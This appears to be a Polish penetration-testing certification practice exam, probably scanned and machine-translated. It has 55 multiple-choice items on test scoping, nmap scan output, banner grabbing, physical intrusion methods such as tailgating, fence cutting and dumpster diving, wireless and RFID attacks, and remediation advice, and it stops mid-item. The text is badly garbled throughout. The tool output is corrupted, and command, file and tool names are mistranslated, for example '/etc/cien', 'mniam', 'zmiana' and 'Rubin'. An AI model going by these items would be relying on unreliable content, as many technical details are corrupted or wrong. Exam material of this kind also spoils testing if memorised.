1. Okreslasz zakres nadchodzgcego testu penetracyjnego. Biura Twojego klienta znajdujg sie w duzym
kompleksie biurowym z wieloma innymi najemcami. Klient poprosit Cie o uwzglednienie w tescie sieci
organizacji. Ktére parametry nalezy okresli¢ jako objete zakresem? (Wybierz dwa.)

A. Adresy IP publicznych ustug internetowych nalezgcych do sgsiednich najemcow
B. Adres IP urzadzen ochrony obwodowej nalezgcych do sgsiednich najemcéw

C. Bezprzewodowe identyfikatory SSID uzywane przez sgsiednich najemcéw

D. Bezprzewodowe identyfikatory SSID uzywane przez klienta

E. Zakresy adreséw IP uzywane w sieci wewnetrznej klienta

2. Niedawno zakonczytes test penetracyjny dla klienta, a teraz musisz napisa¢ swoje ostateczne
whnioski. Co powinienes zrobic?

A. Przy tworzeniu raportu polegaj na swojej pamieci tego, co wydarzyto sie podczas testu.
B. Przeanalizuj zapisane pliki dziennika testerow.

C. Popros innych testerdw, aby przestali Ci e-mailem trzy najwazniejsze problemy, ktére wykryli
podczas testu.

D. Popro$ personel IT Twojego klienta o przestanie Ci trzech najwazniejszych problemdéw, ktére
zauwazyli podczas testu.

3. Klient zatrudnit Cie do przetestowania fizycznego bezpieczerstwa swojego obiektu. Dali ci wolng
reke, aby sprébowac spenetrowac ich obiekt dowolng metodg, o ile nie wyrzadzi to nikomu krzywdy
ani nie uszkodzi mienia. Jaki rodzaj oceny jest przeprowadzany w tym scenariuszu?

A. Oparte na celach

B. Przed potaczeniem
C. Oparte na zgodnosci
D. tancuch dostaw

4. Jeden z Twoich klientéw akceptuje karty kredytowe od klientéw i wykorzystuje swojg wewnetrzna
siec i serwery do przetwarzania ptatnosci. Kazda z firm obstugujgcych karty kredytowe okresla, ze klient
musi przechodzi¢ regularne testy penetracyjne w celu zapewnienia, ze jego zasady dotyczace haset,
zasady izolacji danych, kontrole dostepu i mechanizmy zarzadzania kluczami odpowiednio chronig
dane kart kredytowych klientéw. Jaki rodzaj oceny jest wymagany w tym scenariuszu?

A. Oparte na celach

B. Oparte na zgodnosci
C. taicuch dostaw

D. Druzyna czerwona

5. Jeden z Twoich klientow zostat niedawno kupiony przez duzg miedzynarodowa organizacje. Zanim
zakup bedzie mdgt zostac sfinalizowany, Twdj klient musi przej$s¢ obszerny test penetracyjny. Jaki
rodzaj oceny jest wymagany w tym scenariuszu?

A. Oparte na celach



B. Przed potgczeniem
C. Oparte na zgodnosci
D. tancuch dostaw

6. Przeprowadzasz test penetracji szarej skrzynki. Chcesz uzy¢ klienta Telnet na laptopie z systemem
Linux, aby pobrac¢ baner serwera WWW w sieci docelowej. Docelowy serwer sieciowy ma adres IP
10.0.0.1. Ktérego polecenia uzyjesz w wierszu powtoki, aby to zrobi¢?

A. telnet 10.0.0.1:80
B. telnet 10.0.0.1:403
C. telnet 10.0.0.1 80
D. telnet 10.0.0.1 403

7. Przeprowadzasz test penetracji szarej skrzynki. Uzywasz klienta Telnet na laptopie z systemem Linux,
aby przechwycié baner serwera WWW w sieci docelowej. Wyniki sg pokazane tutaj:

HTTP/1,1 400 Bad Request

Date: Mon, 88 Oct 2018 21:50:11 GMT
Server: Apache

Connection: close

Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w
3.0rg/TR/Xntel1/DTD/ xhtml1-transitional . dtd™>

<html xmlns="http:/ /www.w3.0rg/1999/xhtml">

<head>

<titlesUntangle Server</title>

ceeript type="text/javascript">if (tap lacationi=lncatinn) top.location_href
mdocument,location.href;</script>

<style type="text/css">

/* <1 [CDATA[ */

@import url(/images/base.css);

/> 11> =/

</style>

</head>

<body class="loginPage">

<div id="main" style="width: 5008px; margin: 50px auto 0 auto;">

<form class="form-signin“>
<centers

Czego mozesz dowiedziec sie o serwerze WWW z tych informacji? (Wybierz dwa.)
A. Serwer sieciowy dziata w systemie Linux.

B. Serwer sieciowy dziata w systemie operacyjnym Windows Server.

C. Dziata Apache.

D. Dziata IIS.

E. Urzadzenie jest prawdopodobnie urzgdzeniem zabezpieczajgcym.

8. Podczas fazy wykrywania testu penetracji szarej skrzynki uzywasz narzedzia Zenmap do wyliczenia,
a nastepnie odcisku palca urzadzen w jednej z podsieci organizacji docelowej. Szczegdlnie jedno
urzadzenie przykuto Twojg uwage. Wynik jest pokazany tutaj:



Nmep Cutput | Ports / Hosts | Topology  Host Detals - Scans
Port  Protocol  State  Servke Version
@ 135 tep opsn mapc Micresoft Windows RPC
@ 139 p open  netbios-ssn Mioresoft Windows netbios-ssn
Q@ 445 twp open  mkrosoft-ds
Q@ 5357 wp open  http Microsoft HTTPAP! hitpd 2.0 (SSDP/UPAP)

Czego mozesz dowiedziec sie o urzgdzeniu z tych informacji?

A. Najprawdopodobniej jest to komputer z systemem Windows Server.
B. Najprawdopodobniej jest to stacja robocza z systemem Windows.

C. Najprawdopodobniej jest to kontroler domeny Windows.

D. Najprawdopodobniej jest to urzgdzenie mobilne iPhone.

9. Podczas fazy wykrywania testu penetracji szarej skrzynki uzywasz narzedzia Zenmap do wyliczenia,
a nastepnie odcisku palca urzadzen w jednej z podsieci organizacji docelowej. Szczegdlnie jedno
urzadzenie przykuto Twojg uwage. Wynik jest pokazany tutaj:

Nmep Output | Poets / Hosts | Topology Host Detais - Scans
Port  Protocet  State  Servke Versicn

@ 53 wp apan domain

@ a3 wp apen ORDeT0s-Sel  MOrosoft Wirdows Kerberos (Server Uime J018-10-08 2045 237)

© 135 xp opm X Mcrosoft Windows RPC

Q139 wp open nethios-ssn Mcroseft Windows netbios-ssn

O 38 xp opm  dap Mcrosoft Windows Active Cirectory LDAP [Domait ACT.com, Sie: Defoult-Frst-Site-Name)
Q M5 p open  mioosoft-és  Windows Server 2012 R2 Standard 9500 microsoft-ds (workgroup: ACT)

Q@ 3389 twp opon  ms-whbt-senver

Q@ 49155 wp opn MuNX Microsoit Windews RPC

@ 45156 tep open  memx Mitrosoft Windows RPC

@ 49157 wp open  ncacn hitp Mcrosoft Windows RPC over HTTF 1.0

Q 464  wp open apasswds

Q 593 wp open ncacn hitp Mrrosoft Windows RPC over MTTP 10

Q@ € wp open topatapped

© 3268 wp open idap Microseft Windews Active Directory LDAP [Domaiec ACT.com, Sie: Defostt-Frst-Site-Name)
@ 1269 xp opmn  tcpwrapped

Q@ 49158 twp opsn MMk Mcrosoft Wincevws RPC

Q@ 49150 wp opan MK Micraseft Windews RPC

@ 49167 wp opE MK Murosoflt Wirdews RPC

Czego mozesz dowiedziec sie o urzgdzeniu z tych informacji?

A. Najprawdopodobniej jest to router Cisco.

B. Najprawdopodobniej jest to stacja robocza z systemem Linux.

C. Najprawdopodobniej jest to kontroler domeny Windows.

D. Najprawdopodobniej jest to urzgdzenie mobilne z systemem Android.

10. Podczas fazy wykrywania testu penetracji szarej skrzynki uzywasz narzedzia Zenmap do wyliczenia,
a nastepnie odcisku palca urzadzen w jednej z podsieci organizacji docelowej. Szczegdlnie jedno
urzadzenie przykuto Twojg uwage. Wynik jest pokazany tutaj:



Nmap Output  Ports / Hosts  Topology Host Detalls  Scans

Port Protocol State  Service Version
@ 53 wp open domain dnsmasq 2.76
@ 80 wp open  hup Apache httpd
0 119 1wp closed  bgp
Q 443 wp open http Apache httpd
Q 5000 1wp closed upnp

Czego mozesz dowiedziec sie o urzadzeniu z tych informacji? (Wybierz dwa.)
A. Najprawdopodobniej jest to router Cisco.

B. Najprawdopodobniej jest to stacja robocza z systemem Linux.

C. Dziata serwer DNS.

D. Dziata na serwerze WWW.

E. Najprawdopodobniej jest to komputer z systemem Windows Server.

11. Wczesnie rano penetratorka czeka na parkingu docelowej organizacji, az zobaczy pracownika
zmierzajgcego do drzwi wejsciowych. Podchodzi za pracownikiem, niezdarnie niosgc kilka duzych
pudet. Prosi pracownika, aby przytrzymat dla niej drzwi i moze wej$é do obiektu. Jak nazywa sie ta
technika?

A. Piggybacking

B. Sciganie

C. Blokada obejscia

D. Klonowanie odznak

12. Tester penetracyjny zauwaza, ze wielu pracownikéw docelowej organizacji gromadzi sie przed
tylnymi drzwiami placdwki o godzinie 10:00 i 14:00. pali¢ papierosy. Nastepnego dnia tester dotgcza
do grupy i udaje, ze z nimi pali. Kiedy grupa konczy palenie, tester przechodzi tylnymi drzwiami za
grupa. Jak nazywa sie ta technika?

A. Piggybacking

B. Sciganie

C. Blokada obejscia

D. Klonowanie odznak

13. Obiekt organizacji docelowej jest otoczony wysokim ogrodzeniem z siatki zwiericzonej drutem
kolczastym. Tester penetracyjny zauwaza, ze odlegta cze$¢ ogrodzenia jest porosnieta krzewami. Pézng
nocg uzywa nozyc do S$rub, aby wycig¢é w ogrodzeniu szczeline, przez ktdrg mozie sie pdziniej
przeslizgnad. Jak nazywa sie ta technika?

A. Obejscie czujnika wyjscia
B. Zablokuj obejscie

C. Klonowanie odznak



D. Skakanie przez ptot

14. Penetracja zauwaza, ze Smieci organizacji docelowej sg odbierane w kazdy wtorek wczesnym
rankiem. P6Znym poniedziatkowym wieczorem wspina sie do pojemnika na $mieci organizacji i zbiera
odrzucone dokumenty, dyski optyczne i urzadzenia pamieci masowej, takie jak dyski flash. Jaki rodzaj
exploita wystgpit w tym scenariuszu?

A. Nurkowanie w $mietniku

B. Sciganie

C. Skakanie przez ptot

D. Obejscie czujnika wyijscia

15. Jakie narzedzia sg co najmniej potrzebne do otwarcia zamka? (Wybierz dwa.)
A. Schemat wewnetrznego mechanizmu blokujgcego

B. Puszka smaru w sprayu

C. Klucz napinajacy

D. Narzedzie do otwierania zamkoéw

16. Rozwaz nastepujacy obraz:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-28 03:30 UTC
Initiating ARP Ping Scan at 63:30

Scanning 10.6.0.5 [1 port]

Completed ARP Ping Scan at ©3:36, 8.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:30
Completed Parallel DNS resolution of 1 host. at ©03:30, 0.03s elapsed
Initiating UDP Scan at ©03:30

Scanning 10.0.9.5 [1060 ports]

Completed UDP Scan at 03:30, 1.44s elapsed (1000 total ports)
Nmap scan report for 10.0.0.5

Host is up, received arp-response (0.0648s latency).

Scanned at 2018-11-28 03:30:39 UTC for 1s

Not shown: 995 closed ports

Reason: 995 port-unreaches

PORT STATE SERVICE REASON

53/udp open|filtered domain no-response
526/udp open|filtered route no-response
1960/udp open|filtered upnp no-response
47624/udp open|filtered directplaysrvr no-response
49160/udp open|filtered unknown no-response

MAC Address:

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds
Ra! packets sent: 1006 (29.131KB) | Rcvd: 996 (55.748KB)

Ktére polecenie nmap mogto zostac uzyte do wygenerowania tego wyniku?
A.nmap 10.0.0.5

B. nmap 10.0.0.5 -sS

C. nmap 10.0.0.5 =sU -vwv

D. nmap 10.0.0.5 —=sT -v



17. Rozwaz nastepujgcy obraz:

Starting Nmap 7.7@ { https://nmap.org ) at 2018-11-28 83:34 UTC
Hmap scan report for router.nebo-tech.com (18.8.8.1)

Mmap scan report for 18. 2

Mmap scan report for 1@.
Mmap scan report for 18.
Mmap scan report for 18.
Nmap scan report for 18.
Nmap scan report for 1@.
Nmap scan report for 18.
Hmap scan report for 16.
Nmap scan report for 16. .18

Nmap done: 1@ IP addresses (@ hosts up) scanned in 8.85 seconds

co2o0po00
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Ktére polecenie nmap mogto zostaé uzyte do wygenerowania tego wyniku?
A.nmap 10.0.0.1-10

B. nmap 10.0.0.1-10 -sL

C. nmap 10.0.0.1-10—Pn

D. nmap 10.0.0.1-10 —PS

18. Rozwaz nastepujacy obraz:

root@kali:~# nmap 10.6.6.1-10 -sL

starting Nmap 7.7@ ( https://nmap.orqg ) at 2018-11-28 03:34 UTC
Nmap scan report for router.nebo-tech.com (10.0.6.1)

Nmap scan report for 16.
Nmap scan report for 16.
Nmap scan report for 10.
Nmap scan report for 18
Nmap scan report for 16.
Nmap scan report for 10.
Nmap scan report for 1.
Nmap scan report for 16.
Nmap scan report for 10. .10

Nmap done: 10 IP addresses (® hosts up) scanned in ©.05 seconds
root@kali:~# nmap 10.0.0.1-10 -sn

Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-28 03:39 UTC
Nmap scan report for router.nebo-tech.com (10.0.0.1)

Host is up (0.0027s latency).

MAC Address:

Nmap scan report for 10.0.0.4

Host is up (0.0027s latency),

MAC Address:

Nmap scan report for 10.8.6.5

Host is up (0.0027s latency).

MAC Address: -

Nmap scan report for 10.0.0.7

Host is up (0.0023s latency).

MAC Address:

Nmap done: 10 IP addresses (4 hosts up) scanned in 6.39 seconds
root@kali:~#

cCooCOODOOO
coooOoDOOO
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Ktére polecenie nmap mogto zostaé uzyte do wygenerowania tego wyniku?
A.nmap 10.0.0.1-10
B. nmap 10.0.0.1-10 -sL

C. nmap 10.0.0.1-10 -sn



D. nmap 10.0.0.1-10 PR

19. Rozwaz nastepujgcy obraz:

Starting Nmap 7.70 ( https://nmap.orq ) at 2618-11-28 83:44 UTC
Nmap scan report for router.nebe-tech.com (16.0.0.1)
Host 15 up (6.0029s latency).

PORT STATE SERVICE
86/tcp open htip
MAC Address:

Nmap scan report for 10.0.0.4
Host 1s up (0.0025s latency).

PORT STATE SERVICE
86/tcp filtered http
MAC Address:

Nmap scan report for 10.0.0.5
Host is up (6.0030s latency).

PORT STATE SERVICE
80/tcp open http
MAC Address: -

Nmap scan report for 16.0.0.7
Host 15 up (6.0028s latency).

PORT STATE SERVICE
80/tcp open http
MAC Address:

Nmap done: 16_IP addresses (4 hosts up) scanned in ©.75 seconds

Ktére polecenie nmap mogto zostaé uzyte do wygenerowania tego wyniku?
A.nmap 10.0.0.1-10-p 80

B. nmap 10.0.0.1-10 -F

C. nmap 10.0.0.1-10-sn 80

D. nmap 10.0.0.1-10 —p

20. Rozwaz nastepujacy obraz:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-28 €3:51 UTC
Nmap scan report for 10.6.0.3

Host is up (0.0676s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE VERSION

89/1cp open htip Apache httpd ©.6.5

MAC Address: . -

Service detection performed. Please report any incorrect results at htt
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds

Ktére polecenie nmap mogto zostaé uzyte do wygenerowania tego wyniku?
A. nmap 10.0.0.5

B. nmap 10.0.0.5 -sS



C. nmap 10.0.0.5 —sV
D. nmap 10.0.0.5 —sT

21. Wtasnie zakonczytes test penetracyjny dla klienta, ktdry intensywnie korzysta z pracownikéw
pracujgcych w domu. Pracownicy korzystajg z pofaczenia VPN. Podczas testu udato Ci sie wykorzystaé
socjotechnike, aby ztamac potaczenie VPN pracownika i uzyskaé dostep do sieci wewnetrznej. Jako
strategie tagodzenia zaleca sie, aby klient zaimplementowat uwierzytelnianie wielosktadnikowe dla
wszystkich potaczen VPN. Jakie to rozwigzanie?

A. Technologiczne
B. Ludzie

C. Proces

D. Taktyczne

22. Wtasnie zakonczytes test penetracyjny dla klienta. Podczas testu mozna byto wykorzystac techniki
socjotechniki, aby uzyskac dostep do serwerowni w obiekcie klienta. Aby wyeliminowac te luke, zaleca
sie, aby klient co sze$¢ miesiecy wymagat szkolenia dotyczgcego swiadomosci bezpieczeristwa dla
wszystkich pracownikéw. Jakie to rozwigzanie?

A. Technologiczne
B. Ludzie

C. Proces

D. Taktyczne

23. Wtasnie zakonczytes test penetracyjny dla klienta. Podczas testu mozna byto uzy¢ przestarzatych
kont uzytkownikéw powigzanych z bytymi pracownikami, aby uzyska¢ dostep do wrazliwego serwera
plikéw. Aby wyeliminowac te luke, zaleca sie, aby klient usuwat konta uzytkownikéw za kazdym razem,
gdy pracownik opuszcza organizacje. Jakie to rozwigzanie?

A. Technologiczne
B. Ludzie

C. Proces

D. Strategiczne

24. Wtasnie zakonczytes test penetracyjny dla klienta. Podczas testu odkrytes, ze administratorzy
systemu uzywajg nieszyfrowanych sesji Telnet do zdalnego zarzadzania wrazliwymi serwerami. Udato
Ci sie wysledzi¢ ruch sieciowy i przechwyci¢ poswiadczenia administracyjne z tych potaczen. Aby
wyeliminowaé te luke, zaleca sie, aby klient wymagat, aby wszyscy pracownicy IT zdali egzamin
certyfikacyjny bezpieczenstwa sieci. Jakie to rozwigzanie?

A. Technologiczne
B. Ludzie
C. Proces

D. Strategiczne



25. Wtasnie zakonczytes test penetracyjny dla klienta. Podczas testu mozna byto uzy¢ John the Ripper
do brutalnego wymuszenia hasta administracyjnego na wrazliwym serwerze plikéw Windows. Aby
usungé te luke, zaleca sie, aby klient zaimplementowat ustawienia zasad grupy, ktére wymagajg
ztozonych haset, a takze zablokowat system po trzech nieudanych prdébach logowania. Jakie to
rozwigzanie?

A. Technologiczne
B. Ludzie

C. Proces

D. Skalowalny

26. Planujesz nadchodzacy zewnetrzny test penetracji czarnej skrzynki dla klienta. Jeden z twoich
testerdow penetracyjnych opracowat skaner podatnosci, ktory jest bardzo agresywny. W rzeczywistosci,
w poprzednim tescie, jej skaner zablokowat strone internetowa klienta na prawie 30 minut. Jednak w
ten sposéb klient ten byt w stanie wiele sie dowiedzie¢ o kilku lukach w jego oprogramowaniu aplikacji
internetowych. Co powinienes zrobié¢ dla obecnego klienta?

A. Poinstruuj swojego testera penetracyjnego, aby nie uzywat swojego skanera luk w zabezpieczeniach
podczas nadchodzacej oceny.

B. Poinstruuj swojego testera penetracyjnego, aby uzyt swojego skanera podatnosci w nadchodzacej
ocenie.

C. Przeprowadz analize wptywu z nowym klientem i okres| jego tolerancje na wptyw.
D. Odpal tester penetracyjny.

27. Podczas planowania nadchodzgcego testu penetracyjnego Twdj klient poprosit Cie o uwzglednienie
w zakresie projektu opisu koricowego stanu oceny. Jakie informacje powinny by¢ zawarte w tym
opisie? (Wybierz dwa.)

A. Zestawienie sposobu wydatkowania sSrodkdéw przeznaczonych na test
B. Opis, jakiego rodzaju raport zostanie dostarczony klientowi po zakonczeniu testu

C. Harmonogram dziatan naprawczych, ktéry zawiera oszacowanie, ile czasu zajmie doprowadzenie ich
systemow do zgodnosci

D. Lista wszystkich testeréw penetracyjnych, ktérzy przeprowadzili ocene

28. Planujesz nadchodzacy test penetracyjny. Musisz zidentyfikowac ograniczenia techniczne zwigzane
z testem. Co powinno znalez¢ sie w tej czesci dokumentacji zakresu?

A. Lista narzedzi do testéw penetracyjnych, ktérych testerzy nie majg kwalifikacji
B. Lista systemow, ktore sg niedostepne do testowania

C. Lista technologii, w zakresie ktdrych personel IT klienta nie zostat certyfikowany
D. Lista niecertyfikowanych urzadzen sprzetowych uzywanych w organizacji klienta

29. Jestes$ na poczatkowych etapach ustalania zakresu testu penetracyjnego szarej skrzynki z nowym
klientem. Jakie pytanie powinienes zada¢, aby lepiej zdefiniowac zakres projektu?



A. Kto w przesztosci wykonywat testy penetracyjne dla klienta?

B. Jakie sg nazwiska i adresy e-mail wszystkich wewnetrznych pracownikéw technicznych?
C. Czy test powinien by¢ przeprowadzany na miejscu, czy poza nim?

D. Czy w poblizu okna dostepna jest kabina dla testeréw penetracyjnych?

30. Sprawdzasz test penetracyjny na czarng skrzynke. Gdzie nalezy

testery penetracyjne by¢ fizycznie zlokalizowane?

A. Wewnetrznie w dziale IT organizacji

B. Dowolna lokalizacja zewnetrzna

C. W obiekcie konkurencyjnej organizacji

D. Wszedzie wewnatrz placowki organizacji

31. Przeprowadzasz test penetracyjny czarnej skrzynki dla klienta. Reguty zaangazowania wymagajg
przeprowadzenia skanowania podatnosci na akredytacje, ale nie otrzymates informacji logowania
administracyjnego. Co mogtes zrobic?

A. Odwotaj test. Zasady zaangazowania nie pasujg do rodzaju testu.
B. Popros klienta o przestanie poswiadczen administracyjnych w celu uruchomienia skanowania.

C. Przeprowadz exploita typu spear phishing, aby naktoni¢ uzytkownika wewnetrznego do ujawnienia
swoich danych uwierzytelniajgcych.

D. Pomin procesy wyliczania i odciskow palcow.

32. Przeprowadzasz test penetracyjny czarnej skrzynki dla klienta. Zasady zaangazowania wymagajg
przeprowadzenia skanowania podatnosci na wiele publicznych serwerdéw internetowych organizacji.
Na wykonanie skanéw zostato Ci przydzielone tylko kilka godzin w zakresie testu. Co powinienes$
zrobié¢?

A. Pomin skanowanie serwerdw internetowych.
B. Wykonaj petne skanowanie kazdego serwera WWW.

C. Ogranicz skanowanie w poszukiwaniu luk tylko do protokotdw powszechnie uzywanych na
serwerach internetowych.

D. Wykonaj uwierzytelnione skanowanie serwerdw internetowych.

33. Przeprowadzasz test penetracyjny zgodnosci PCI-DSS dla klienta. W odniesieniu do topologii sieci,
w jaki sposob nalezy przeprowadzi¢ skanowanie podatnosci podczas tego testu? (Wybierz dwa.)

A. Z sieci wewnetrznej

B. Korzystanie z petnego skanowania podatnosci

C. Z lokalizacji poza zaporg sieciowg organizacji

D. Korzystanie ze skanowania luk w zabezpieczeniach

E. Patrzac tylko na 20 najlepszych portéw i protokotéw



34. Ktéra opcja jest uzywana z poleceniem nmap do ograniczania zapytan dotyczacych skanowania luk
w zabezpieczeniach?

A.-Tn
B.-p
C.-F
D.-p

35. Przeprowadzasz test penetracji czarnej skrzynki. Musisz uruchomié skanowanie luk w
zabezpieczeniach za pomocg nmap z zewnetrznej lokalizacji sieciowe]j poza zapora sieciowg organizacji.
Do faczenia sie z Internetem organizacja korzysta z tgcza T1 o niskiej przepustowosci. Jak skonfigurowa¢é
skanowanie?

A. Uzyj opcji —T5 z poleceniem nmap.
B. Uzyj opcji —T4 z poleceniem nmap.
C. Uzyj opcji —T2 z poleceniem nmap.
D. Uzyj opcji —TO z poleceniem nmap.

36. Ktory exploit sieci bezprzewodowej polega na uzyciu ataku brute-force w celu ztamania
osmiocyfrowego kodu PIN?

A. Fragmentation attack
B. Credential harvesting
C. Bluejacking

D. WPS cracking

37. Ktéry exploit sieci bezprzewodowej polega na wysytaniu niechcianych wiadomosci przez potgczenie
Bluetooth do urzgdzenia bezprzewodowego?

A. Deauth attack
B. Bluesnarfing
C. Bluejacking

D. WPS cracking

38. Ktéry exploit sieci bezprzewodowej polega na nawigzaniu nieautoryzowanego pofaczenia z
urzadzeniem Bluetooth, takim jak telefon komdrkowy, i kradziezy z niego informac;ji?

A. Deauth attack
B. Bluesnarfing
C. Bluejacking

D. WPS cracking

39. Tester penetracyjny dowiaduje sie, ze pracownicy organizacji docelowej uzywajg identyfikatoréw
dostepu RFID do otwierania drzwi w obiekcie. Identyfikuje restauracje, w ktdrej pracownicy organizacji



czesto spotykajg sie na lunch. Nastepnego dnia siada przy stoliku obok grupy pracownikow w
restauracji z matym, ukrytym czytnikiem RFID. Przechwytuje podpis RFID z identyfikatoréow
pracownikéw, a nastepnie tworzy fatszywe identyfikatory dostepu za pomoca podpiséw RFID. Jak
nazywa sie ta technika?

A. WPS cracking

B. Credential harvesting
C.Jamming

D. RFID cloning

40. Ktory exploit sieci bezprzewodowej jest bardziej testem warunkéw skrajnych, majgcym na celu
uniemozliwienie uzytkownikom korzystania z sieci bezprzewodowe;j?

A. Karma attack

B. Deauth attack

C. Downgrade attack
D. Jamming attack

41. Podczas czytania wykonywalnego pliku skryptu, w poblizu poczatku skryptu widzisz wiersz, ktéry
odwotuje sie do wartosci zmiennej przy uzyciu nastepujgcej sktadni:

echo {SServerName}

Jaki to moze by¢ rodzaj skryptu?
A. PowerShell

B. Bash

C. Rubin

D. Python

42. Podczas czytania wykonywalnego pliku skryptu, w poblizu poczatku skryptu widzisz wiersz, ktéry
odwotuje sie do drugiej wartosci z tablicy przy uzyciu nastepujacej sktadni:

echo {SPrimeNumArray[2]}

Jaki to moze by¢ rodzaj skryptu?
A. PowerShell

B. Bash

C. Rubin

D. Python

43. Podczas czytania wykonywalnego pliku skryptu w poblizu poczatku skryptu widzisz wiersz, ktéry
odwotuje sie do drugiej wartosci z tablicy, uzywajgc nastepujacej sktadni:

echo SPrimeNumArray[2]

Jaki to moze by¢ rodzaj skryptu?



A. PowerShell
B. Bash

C. Rubin

D. Pythona

44. Podczas czytania wykonywalnego pliku skryptu w poblizu poczatku skryptu widzisz wiersz, ktéry
odwotuje sie do drugiej wartosci z tablicy przy uzyciu nastepujacej sktadni:

print (PrimeNumArray[2])

Jaki to moze by¢ rodzaj skryptu?
A. PowerShell

B. Bash

C. Rubin

D. Python

45. Podczas czytania wykonywalnego pliku skryptu, w poblizu poczatku skryptu widzisz wiersz, ktéry
odwotuje sie do drugiej wartosci z tablicy, uzywajac nastepujacej sktadni umieszcza tablice liczb
pierwszych[2]. Jaki to moze by¢ rodzaj skryptu?

A. PowerShell
B. Bash

C. Rubin

D. Python

46. Wtasnie zakonczytes test penetracyjny dla klienta. W swoich odkryciach informujesz, ze serwer baz
danych Linux ma duzg liczbe niepotrzebnych otwartych ustug, co zwieksza jego powierzchnie ataku. W
raporcie koncowym rekomendujesz klientowi przeanalizowanie systemu i usuniecie wszelkich aplikacji
lub ustug, ktére nie s3 wymagane do jego roli. Ktérego narzedzia powiniene$ zasugerowac, aby
sprawdzi¢ nastuchiwanie portow sieciowych na serwerze?

A. netstat
B. mniam
C. zmiana
D. iptables

47. Wtasnie zakonczytes test penetracyjny dla klienta. W swoich ustaleniach zgtaszasz, ze znalaztes kilka
kont uzytkownikéw na serwerze plikow z systemem Linux, do ktdrych nie przypisano hasta. W raporcie
koncowym rekomendujesz klientowi przeanalizowanie systemu i przypisanie haset do wszystkich kont
uzytkownikéw. Ktéry plik na serwerze powinni przejrzeé, aby to osiggnac?

A. /etc/passwd
B. /etc/cien

C. /etc/grupa



D. /etc/gshadow

48. Wiasnie zakonczyte$ test penetracyjny dla klienta, ktéry korzysta z duzej liczby pracownikéw
tymczasowych i wykonawcéw. W swoich ustaleniach informujesz, ze konta uzytkownikéw
tymczasowych i kontraktowych czesto nie sg dezaktywowane ani usuwane po zakorczeniu ich pracy,
poniewaz czesto wracajg oni do pracy nad nowymi projektami kilka miesiecy pdzniej. Biorgc pod
uwage, ze klient korzysta z komputeréw stacjonarnych i serweréw z systemem Linux, ktdre z
ponizszych polecen systemu Linux nalezy zaleci¢, aby recznie zablokowac¢ tymczasowe lub kontraktowe
konta uzytkownikéw do momentu powrotu pracownika do nowego projektu?

A. lockusr
B. chmod
C. zmiana
D. passwd

49. Wtasnie zakonczytes test penetracyjny dla klienta. W swoich odkryciach informujesz, ze serwer
bazy danych Linux wykazuje dowody na to, ze w przesztosci zostat naruszony. Atakujgcy préobowat
zatrze¢ swoje $lady, recznie modyfikujgc lokalne pliki dziennika, ale przeoczyt jeden kluczowy wpis,
ktdry ujawnit wtamanie. Co powinienes poleci¢ klientowi?

A. Ustaw pliki dziennika tylko do odczytu.

B. Przyznaj dostep do odczytu i zapisu do plikdow dziennika tylko uzytkownikowi root.

C. Ponownie skonfiguruj system, aby wysyta¢ wpisy dziennika do dedykowanego serwera dziennika.
D. Ukryj pliki dziennika.

50. Wtasnie zakonczytes test penetracyjny dla klienta, ktéry ma wiele zdalnych witryn. Pracownicy w
lokalizacjach zdalnych czesto uzywaja klienta FTP do kopiowania plikow tam iz powrotem miedzy ich
witryng a serwerami w biurze domowym. Podczas testu udato Ci sie przechwyci¢ te sesje FTP i
przechwyci¢ poufne informacje. Co powiniene$ poleci¢ klientowi w swoim raporcie koncowym, aby
rozwigzac ten problem?

A. Uzyj FTPS do przesytania plikow.

B. Zabron przesytania plikéw miedzy witrynami.

C. Uzyj polecenia rcp do przesytania plikdw.

D. Uzywaj pamieci flash i ustugi kurierskiej do przesytania plikéw miedzy witrynami.

51. Klient poprosit o test penetracji sieci zewnetrznej, ale podczas rozmowy miedzy testerem
penetracyjnym a klientem klient niechetnie dodaje zrédtowy adres IP testera do biatej listy IPS na czas
trwania testu. Ktdry argument najlepiej opisuje, dlaczego Zrédtowy adres IP testera powinien
znajdowac sie na biatej liscie IPS klienta?

A. Reguly biatej listy IPS wymagajg regularnych aktualizacji, aby by¢ na biezgco, aby usuwac stale
rozwijajace sie luki w zabezpieczeniach i nowo wykryte stabosci.

B. Testy penetracyjne systemow IPS innych firm czesto wymagajg dodatkowej autoryzacji i
dokumentacji, co moze potencjalnie opdznié czasowy test.



C. Testowanie powinno koncentrowa¢ sie na wykrywaniu potencjalnych probleméw z
bezpieczenstwem we wszystkich systemach objetych zakresem, a nie tylko na okreslaniu skutecznosci
aktywnych zabezpieczen, takich jak IPS.

D. Biata lista zapobiega mozliwemu niezamierzonemu atakowi DoS na IPS i wspiera systemy
monitorowania dziennikéw.

52. Analityk bezpieczenstwa probuje skonstruowaé wyspecjalizowane pliki XML w celu przetestowania
bezpieczenstwa funkcji parsowania aplikacji Windows podczas testowania. O ktére z ponizszych
dziatan analityk powinien poprosi¢ klienta przed rozpoczeciem testowania aplikacji?

A. Narzedzie do fuzzingu protokotu

B. Zestaw programistyczny (SDK) do okreslonych zastosowan

C. Przyktady plikéw projektu Simple Object Access Protocol (SOAP)

D. Dokumentacja interfejsu programowania aplikacji (API) Representational State Transfer (REST)
53. Kiedy planujesz zareczyny, ktére z ponizszych sg najwazniejsze? (Wybierz dwa.)

A. Schematy architektoniczne

B. Polityka firmy

C. Cele/zadania

D. Czas przechowywania raportu

E. Tolerancja na uderzenie

54. Ktdre z ponizszych stwierdzen pochodzitoby z polityki korporacyjnej klienta?

A. Systemy korporacyjne muszg przechowywac hasta przy uzyciu algorytmu mieszajgcego MD5

B. Hasta pracownikdw muszg zawieraé¢ co najmniej osiem znakdw, z ktérych jeden jest alfanumeryczny
C. Numer telefonu do kontaktu z pomocg techniczng w celu zresetowania hasta password

D. Aby uzyska¢ dostep do zasobow firmy, pracownicy muszg uzywac silnych haset

55. Jeste$ testerem wydajnosci i omawiasz przeprowadzanie ocen zgodnosci dla klienta. Co jest
waznym kluczowym czynnikiem?

A. Wszelkie dodatkowe stawki
